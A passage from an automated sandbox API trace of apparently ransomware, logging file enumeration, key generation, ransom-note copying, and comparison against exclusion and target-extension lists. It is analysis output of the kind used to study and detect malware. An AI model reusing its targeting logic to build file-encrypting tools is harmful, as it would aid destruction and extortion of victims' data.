shared\\office14\\csisoap.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0113.070] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1784192) returned 1 [0113.070] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0113.071] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0113.071] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0113.089] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0113.089] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0113.089] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0113.090] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b3c80, lpName=0x0) returned 0x154 [0113.092] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b3c80) returned 0x2d50000 [0113.165] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0113.166] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0113.166] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0113.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0113.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0113.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0113.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0113.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0113.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0113.166] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0113.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0113.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0113.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0113.167] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0113.185] CloseHandle (hObject=0x154) returned 1 [0113.185] CloseHandle (hObject=0x17c) returned 1 [0113.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0113.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0113.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0113.192] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1 [0113.192] lstrcmpiW (lpString1="Cultures", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0113.192] lstrcmpiW (lpString1="Cultures", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0113.192] lstrcmpiW (lpString1="Cultures", lpString2=".") returned 1 [0113.192] lstrcmpiW (lpString1="Cultures", lpString2="..") returned 1 [0113.192] lstrcmpiW (lpString1="Cultures", lpString2="windows") returned -1 [0113.192] lstrcmpiW (lpString1="Cultures", lpString2="bootmgr") returned 1 [0113.192] lstrcmpiW (lpString1="Cultures", lpString2="temp") returned -1 [0113.192] lstrcmpiW (lpString1="Cultures", lpString2="pagefile.sys") returned -1 [0113.192] lstrcmpiW (lpString1="Cultures", lpString2="boot") returned 1 [0113.192] lstrcmpiW (lpString1="Cultures", lpString2="ids.txt") returned -1 [0113.192] lstrcmpiW (lpString1="Cultures", lpString2="ntuser.dat") returned -1 [0113.193] lstrcmpiW (lpString1="Cultures", lpString2="perflogs") returned -1 [0113.193] lstrcmpiW (lpString1="Cultures", lpString2="MSBuild") returned -1 [0113.193] lstrlenW (lpString="Cultures") returned 8 [0113.193] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Cultures" | out: lpString1="Cultures") returned="Cultures" [0113.193] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f5c8 [0113.193] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x82) returned 0x515448 [0113.193] lstrcatW (in: lpString1="Cultures", lpString2="\\" | out: lpString1="Cultures\\") returned="Cultures\\" [0113.193] lstrcatW (in: lpString1="Cultures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Cultures\\HOW TO BACK YOUR FILES.exe") returned="Cultures\\HOW TO BACK YOUR FILES.exe" [0113.193] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\how to back your files.exe"), bFailIfExists=1) returned 1 [0113.197] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0113.197] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0113.197] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0113.197] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2=".") returned 1 [0113.197] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2="..") returned 1 [0113.198] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2="windows") returned -1 [0113.198] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2="bootmgr") returned 1 [0113.198] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2="temp") returned -1 [0113.198] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2="pagefile.sys") returned -1 [0113.198] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2="boot") returned 1 [0113.198] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2="ids.txt") returned -1 [0113.198] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2="ntuser.dat") returned -1 [0113.198] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2="perflogs") returned -1 [0113.198] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2="MSBuild") returned -1 [0113.198] lstrlenW (lpString="EXPSRV.DLL") returned 10 [0113.198] lstrcpyW (in: lpString1=0x241e8b8, lpString2="EXPSRV.DLL" | out: lpString1="EXPSRV.DLL") returned="EXPSRV.DLL" [0113.198] lstrlenW (lpString="EXPSRV.DLL") returned 10 [0113.198] lstrlenW (lpString="Athena865") returned 9 [0113.198] lstrcmpiW (lpString1="XPSRV.DLL", lpString2="Athena865") returned 1 [0113.198] lstrlenW (lpString=".dll") returned 4 [0113.198] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2=".dll") returned 1 [0113.198] lstrlenW (lpString=".lnk") returned 4 [0113.198] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2=".lnk") returned 1 [0113.198] lstrlenW (lpString=".ini") returned 4 [0113.198] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2=".ini") returned 1 [0113.198] lstrlenW (lpString=".sys") returned 4 [0113.198] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2=".sys") returned 1 [0113.198] lstrlenW (lpString="EXPSRV.DLL") returned 10 [0113.198] lstrlenW (lpString="bak") returned 3 [0113.198] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0113.198] lstrlenW (lpString="ba_") returned 3 [0113.198] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0113.198] lstrlenW (lpString="dbb") returned 3 [0113.198] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0113.198] lstrlenW (lpString="vmdk") returned 4 [0113.199] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0113.199] lstrlenW (lpString="rar") returned 3 [0113.199] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0113.199] lstrlenW (lpString="zip") returned 3 [0113.199] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0113.199] lstrlenW (lpString="tgz") returned 3 [0113.199] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0113.199] lstrlenW (lpString="vbox") returned 4 [0113.199] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0113.199] lstrlenW (lpString="vdi") returned 3 [0113.199] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0113.199] lstrlenW (lpString="vhd") returned 3 [0113.199] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0113.199] lstrlenW (lpString="vhdx") returned 4 [0113.199] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0113.199] lstrlenW (lpString="avhd") returned 4 [0113.199] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0113.199] lstrlenW (lpString="db") returned 2 [0113.199] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0113.199] lstrlenW (lpString="db2") returned 3 [0113.199] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0113.199] lstrlenW (lpString="db3") returned 3 [0113.199] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0113.199] lstrlenW (lpString="dbf") returned 3 [0113.199] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0113.199] lstrlenW (lpString="mdf") returned 3 [0113.199] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0113.199] lstrlenW (lpString="mdb") returned 3 [0113.199] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0113.199] lstrlenW (lpString="sql") returned 3 [0113.200] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0113.200] lstrlenW (lpString="sqlite") returned 6 [0113.200] lstrcmpiW (lpString1="RV.DLL", lpString2="sqlite") returned -1 [0113.200] lstrlenW (lpString="sqlite3") returned 7 [0113.200] lstrcmpiW (lpString1="SRV.DLL", lpString2="sqlite3") returned 1 [0113.200] lstrlenW (lpString="sqlitedb") returned 8 [0113.200] lstrcmpiW (lpString1="PSRV.DLL", lpString2="sqlitedb") returned -1 [0113.200] lstrlenW (lpString="xml") returned 3 [0113.200] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0113.200] lstrlenW (lpString="$er") returned 3 [0113.200] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0113.200] lstrlenW (lpString="4dd") returned 3 [0113.200] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0113.200] lstrlenW (lpString="4dl") returned 3 [0113.200] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0113.200] lstrlenW (lpString="^^^") returned 3 [0113.200] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0113.200] lstrlenW (lpString="abs") returned 3 [0113.200] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0113.200] lstrlenW (lpString="abx") returned 3 [0113.200] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0113.200] lstrlenW (lpString="accdb") returned 5 [0113.200] lstrcmpiW (lpString1="V.DLL", lpString2="accdb") returned 1 [0113.200] lstrlenW (lpString="accdc") returned 5 [0113.200] lstrcmpiW (lpString1="V.DLL", lpString2="accdc") returned 1 [0113.200] lstrlenW (lpString="accde") returned 5 [0113.200] lstrcmpiW (lpString1="V.DLL", lpString2="accde") returned 1 [0113.200] lstrlenW (lpString="accdr") returned 5 [0113.200] lstrcmpiW (lpString1="V.DLL", lpString2="accdr") returned 1 [0113.200] lstrlenW (lpString="accdt") returned 5 [0113.200] lstrcmpiW (lpString1="V.DLL", lpString2="accdt") returned 1 [0113.201] lstrlenW (lpString="accdw") returned 5 [0113.201] lstrcmpiW (lpString1="V.DLL", lpString2="accdw") returned 1 [0113.201] lstrlenW (lpString="accft") returned 5 [0113.201] lstrcmpiW (lpString1="V.DLL", lpString2="accft") returned 1 [0113.201] lstrlenW (lpString="adb") returned 3 [0113.201] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0113.201] lstrlenW (lpString="adb") returned 3 [0113.201] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0113.201] lstrlenW (lpString="ade") returned 3 [0113.201] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0113.201] lstrlenW (lpString="adf") returned 3 [0113.201] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0113.201] lstrlenW (lpString="adn") returned 3 [0113.201] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0113.201] lstrlenW (lpString="adp") returned 3 [0113.201] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0113.201] lstrlenW (lpString="alf") returned 3 [0113.201] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0113.201] lstrlenW (lpString="ask") returned 3 [0113.201] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0113.201] lstrlenW (lpString="btr") returned 3 [0113.201] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0113.201] lstrlenW (lpString="cat") returned 3 [0113.201] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0113.201] lstrlenW (lpString="cdb") returned 3 [0113.201] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0113.201] lstrlenW (lpString="ckp") returned 3 [0113.201] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0113.201] lstrlenW (lpString="cma") returned 3 [0113.201] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0113.202] lstrlenW (lpString="cpd") returned 3 [0113.202] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0113.202] lstrlenW (lpString="dacpac") returned 6 [0113.202] lstrcmpiW (lpString1="RV.DLL", lpString2="dacpac") returned 1 [0113.202] lstrlenW (lpString="dad") returned 3 [0113.202] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0113.202] lstrlenW (lpString="dadiagrams") returned 10 [0113.202] lstrlenW (lpString="daschema") returned 8 [0113.202] lstrcmpiW (lpString1="PSRV.DLL", lpString2="daschema") returned 1 [0113.202] lstrlenW (lpString="db-journal") returned 10 [0113.202] lstrlenW (lpString="db-shm") returned 6 [0113.202] lstrcmpiW (lpString1="RV.DLL", lpString2="db-shm") returned 1 [0113.202] lstrlenW (lpString="db-wal") returned 6 [0113.202] lstrcmpiW (lpString1="RV.DLL", lpString2="db-wal") returned 1 [0113.202] lstrlenW (lpString="dbc") returned 3 [0113.202] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0113.202] lstrlenW (lpString="dbs") returned 3 [0113.202] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0113.202] lstrlenW (lpString="dbt") returned 3 [0113.202] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0113.202] lstrlenW (lpString="dbv") returned 3 [0113.202] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0113.202] lstrlenW (lpString="dbx") returned 3 [0113.202] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0113.202] lstrlenW (lpString="dcb") returned 3 [0113.202] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0113.202] lstrlenW (lpString="dct") returned 3 [0113.202] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0113.203] lstrlenW (lpString="dcx") returned 3 [0113.203] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0113.203] lstrlenW (lpString="ddl") returned 3 [0113.203] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0113.203] lstrlenW (lpString="dlis") returned 4 [0113.203] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0113.203] lstrlenW (lpString="dp1") returned 3 [0113.203] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0113.203] lstrlenW (lpString="dqy") returned 3 [0113.203] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0113.203] lstrlenW (lpString="dsk") returned 3 [0113.203] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0113.203] lstrlenW (lpString="dsn") returned 3 [0113.203] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0113.203] lstrlenW (lpString="dtsx") returned 4 [0113.203] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0113.203] lstrlenW (lpString="dxl") returned 3 [0113.203] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0113.203] lstrlenW (lpString="eco") returned 3 [0113.203] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0113.203] lstrlenW (lpString="ecx") returned 3 [0113.203] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0113.203] lstrlenW (lpString="edb") returned 3 [0113.203] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0113.203] lstrlenW (lpString="epim") returned 4 [0113.203] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0113.203] lstrlenW (lpString="fcd") returned 3 [0113.203] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0113.204] lstrlenW (lpString="fdb") returned 3 [0113.204] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0113.204] lstrlenW (lpString="fic") returned 3 [0113.204] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0113.204] lstrlenW (lpString="flexolibrary") returned 12 [0113.204] lstrlenW (lpString="fm5") returned 3 [0113.204] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0113.204] lstrlenW (lpString="fmp") returned 3 [0113.204] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0113.204] lstrlenW (lpString="fmp12") returned 5 [0113.204] lstrcmpiW (lpString1="V.DLL", lpString2="fmp12") returned 1 [0113.204] lstrlenW (lpString="fmpsl") returned 5 [0113.204] lstrcmpiW (lpString1="V.DLL", lpString2="fmpsl") returned 1 [0113.204] lstrlenW (lpString="fol") returned 3 [0113.204] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0113.204] lstrlenW (lpString="fp3") returned 3 [0113.204] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0113.204] lstrlenW (lpString="fp4") returned 3 [0113.204] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0113.204] lstrlenW (lpString="fp5") returned 3 [0113.204] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0113.204] lstrlenW (lpString="fp7") returned 3 [0113.204] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0113.204] lstrlenW (lpString="fpt") returned 3 [0113.204] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0113.204] lstrlenW (lpString="frm") returned 3 [0113.204] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0113.204] lstrlenW (lpString="gdb") returned 3 [0113.205] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0113.205] lstrlenW (lpString="gdb") returned 3 [0113.205] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0113.205] lstrlenW (lpString="grdb") returned 4 [0113.205] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0113.205] lstrlenW (lpString="gwi") returned 3 [0113.205] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0113.205] lstrlenW (lpString="hdb") returned 3 [0113.205] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0113.205] lstrlenW (lpString="his") returned 3 [0113.205] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0113.205] lstrlenW (lpString="ib") returned 2 [0113.205] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0113.205] lstrlenW (lpString="idb") returned 3 [0113.205] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0113.205] lstrlenW (lpString="ihx") returned 3 [0113.205] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0113.205] lstrlenW (lpString="itdb") returned 4 [0113.205] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0113.205] lstrlenW (lpString="itw") returned 3 [0113.205] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0113.205] lstrlenW (lpString="jet") returned 3 [0113.205] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0113.205] lstrlenW (lpString="jtx") returned 3 [0113.205] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0113.205] lstrlenW (lpString="kdb") returned 3 [0113.205] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0113.205] lstrlenW (lpString="kexi") returned 4 [0113.205] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0113.205] lstrlenW (lpString="kexic") returned 5 [0113.206] lstrcmpiW (lpString1="V.DLL", lpString2="kexic") returned 1 [0113.206] lstrlenW (lpString="kexis") returned 5 [0113.206] lstrcmpiW (lpString1="V.DLL", lpString2="kexis") returned 1 [0113.206] lstrlenW (lpString="lgc") returned 3 [0113.206] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0113.206] lstrlenW (lpString="lwx") returned 3 [0113.206] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0113.206] lstrlenW (lpString="maf") returned 3 [0113.206] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0113.206] lstrlenW (lpString="maq") returned 3 [0113.206] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0113.206] lstrlenW (lpString="mar") returned 3 [0113.206] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0113.206] lstrlenW (lpString="marshal") returned 7 [0113.206] lstrcmpiW (lpString1="SRV.DLL", lpString2="marshal") returned 1 [0113.206] lstrlenW (lpString="mas") returned 3 [0113.206] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0113.206] lstrlenW (lpString="mav") returned 3 [0113.206] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0113.206] lstrlenW (lpString="maw") returned 3 [0113.206] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0113.206] lstrlenW (lpString="mdbhtml") returned 7 [0113.206] lstrcmpiW (lpString1="SRV.DLL", lpString2="mdbhtml") returned 1 [0113.206] lstrlenW (lpString="mdn") returned 3 [0113.206] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0113.206] lstrlenW (lpString="mdt") returned 3 [0113.206] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0113.206] lstrlenW (lpString="mfd") returned 3 [0113.206] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0113.206] lstrlenW (lpString="mpd") returned 3 [0113.207] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0113.207] lstrlenW (lpString="mrg") returned 3 [0113.207] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0113.207] lstrlenW (lpString="mud") returned 3 [0113.207] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0113.207] lstrlenW (lpString="mwb") returned 3 [0113.207] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0113.207] lstrlenW (lpString="myd") returned 3 [0113.207] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0113.207] lstrlenW (lpString="ndf") returned 3 [0113.207] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0113.207] lstrlenW (lpString="nnt") returned 3 [0113.207] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0113.207] lstrlenW (lpString="nrmlib") returned 6 [0113.207] lstrcmpiW (lpString1="RV.DLL", lpString2="nrmlib") returned 1 [0113.207] lstrlenW (lpString="ns2") returned 3 [0113.207] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0113.207] lstrlenW (lpString="ns3") returned 3 [0113.207] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0113.207] lstrlenW (lpString="ns4") returned 3 [0113.207] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0113.207] lstrlenW (lpString="nsf") returned 3 [0113.207] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0113.207] lstrlenW (lpString="nv") returned 2 [0113.207] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0113.207] lstrlenW (lpString="nv2") returned 3 [0113.207] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0113.207] lstrlenW (lpString="nwdb") returned 4 [0113.208] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0113.208] lstrlenW (lpString="nyf") returned 3 [0113.208] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0113.208] lstrlenW (lpString="odb") returned 3 [0113.208] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0113.208] lstrlenW (lpString="odb") returned 3 [0113.208] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0113.208] lstrlenW (lpString="oqy") returned 3 [0113.208] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0113.208] lstrlenW (lpString="ora") returned 3 [0113.208] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0113.208] lstrlenW (lpString="orx") returned 3 [0113.208] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0113.208] lstrlenW (lpString="owc") returned 3 [0113.208] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0113.208] lstrlenW (lpString="p96") returned 3 [0113.208] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0113.208] lstrlenW (lpString="p97") returned 3 [0113.208] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0113.208] lstrlenW (lpString="pan") returned 3 [0113.208] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0113.208] lstrlenW (lpString="pdb") returned 3 [0113.208] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0113.208] lstrlenW (lpString="pdm") returned 3 [0113.208] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0113.208] lstrlenW (lpString="pnz") returned 3 [0113.208] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0113.208] lstrlenW (lpString="qry") returned 3 [0113.208] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0113.209] lstrlenW (lpString="qvd") returned 3 [0113.209] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0113.209] lstrlenW (lpString="rbf") returned 3 [0113.209] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0113.209] lstrlenW (lpString="rctd") returned 4 [0113.209] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0113.209] lstrlenW (lpString="rod") returned 3 [0113.209] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0113.209] lstrlenW (lpString="rodx") returned 4 [0113.209] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0113.209] lstrlenW (lpString="rpd") returned 3 [0113.209] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0113.209] lstrlenW (lpString="rsd") returned 3 [0113.209] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0113.209] lstrlenW (lpString="sas7bdat") returned 8 [0113.209] lstrcmpiW (lpString1="PSRV.DLL", lpString2="sas7bdat") returned -1 [0113.209] lstrlenW (lpString="sbf") returned 3 [0113.209] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0113.209] lstrlenW (lpString="scx") returned 3 [0113.209] lstrcmpiW (lpString1="DLL", lpString2="scx") 